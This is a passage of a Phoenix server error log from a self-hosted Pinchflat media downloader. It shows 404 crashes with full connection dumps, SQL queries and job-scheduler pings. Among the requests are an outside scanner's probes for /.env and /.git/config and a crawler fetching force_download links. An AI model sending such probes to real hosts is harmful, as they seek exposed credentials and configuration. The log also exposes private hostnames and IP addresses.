=> "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4.1 Safari/605.1.15", "x-forwarded-for" => "31.56.58.122", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "31.56.58.122" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10553.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4.1 Safari/605.1.15"}, {"x-forwarded-for", "31.56.58.122"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "31.56.58.122"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVFBQCDZKWK3ckAA8PB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10552.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 39544}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4.1 Safari/605.1.15", "x-forwarded-for" => "31.56.58.122", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "31.56.58.122" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10552.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 39544}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4.1 Safari/605.1.15", "x-forwarded-for" => "31.56.58.122", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "31.56.58.122" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10553.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4.1 Safari/605.1.15"}, {"x-forwarded-for", "31.56.58.122"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "31.56.58.122"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revali (truncated) 15:58:36.067 [info] GET /.git/config 15:58:36.067 [debug] QUERY OK source="settings" db=0.1ms idle=1127.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:58:36.067 [debug] QUERY OK source="settings" db=0.0ms idle=958.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:58:36.067 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:58:36.067 [error] #PID<0.10555.0> running PinchflatWeb.Endpoint (connection #PID<0.10554.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10554.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 39558}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0", "x-forwarded-for" => "31.56.58.122", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "31.56.58.122" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10555.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"}, {"x-forwarded-for", "31.56.58.122"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "31.56.58.122"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVFBTmsxV0uXxgAAgfC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10554.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 39558}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0", "x-forwarded-for" => "31.56.58.122", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "31.56.58.122" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10554.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 39558}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0", "x-forwarded-for" => "31.56.58.122", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "31.56.58.122" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10555.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"}, {"x-forwarded-for", "31.56.58.122"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "31.56.58.122"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVFBTmsxV0uXxgAAgfC"} ], (truncated) 15:58:44.128 [info] GET /sources/2/media/6128/force_download 15:58:44.128 [debug] QUERY OK source="settings" db=0.0ms idle=1188.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:58:44.128 [debug] QUERY OK source="settings" db=0.0ms idle=330.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:58:44.128 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:58:44.128 [error] #PID<0.10557.0> running PinchflatWeb.Endpoint (connection #PID<0.10556.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/2/media/6128/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/6128/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10556.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6128/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 39710}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6128", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10557.0>, params: %{}, path_info: ["sources", "2", "media", "6128", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/2/media/6128"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/2/media/6128/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVFBxoqLJa8pvoAA8QB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10556.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6128/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 39710}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6128", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/6128/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10556.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6128/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 39710}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6128", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10557.0>, params: %{}, path_info: ["sources", "2", "media", "6128", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", (truncated) 15:58:57.101 [info] {"source":"oban","duration":450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:00.705 [info] {"source":"oban","duration":386,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:59:27.102 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:44.624 [info] GET /sources/1/media/6108/force_download 15:59:44.624 [debug] QUERY OK source="settings" db=0.1ms idle=1684.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:59:44.624 [debug] QUERY OK source="settings" db=0.0ms idle=764.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:59:44.624 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:59:44.625 [error] #PID<0.10563.0> running PinchflatWeb.Endpoint (connection #PID<0.10562.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/1/media/6108/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/6108/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10562.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/6108/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 57842}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/6108", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10563.0>, params: %{}, path_info: ["sources", "1", "media", "6108", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/1/media/6108"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/1/media/6108/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVFFTABJVSugJEAAghC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10562.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/6108/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 57842}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/6108", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/6108/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10562.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/6108/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 57842}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/6108", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10563.0>, params: %{}, path_info: ["sources", "1", "media", "6108", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", (truncated) 15:59:57.103 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:00.706 [info] {"source":"oban","duration":313,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:00:27.104 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:49.168 [info] GET /sources/1/media/6109/force_download 16:00:49.168 [debug] QUERY OK source="settings" db=0.1ms idle=1228.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:00:49.168 [debug] QUERY OK source="settings" db=0.0ms idle=1228.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS 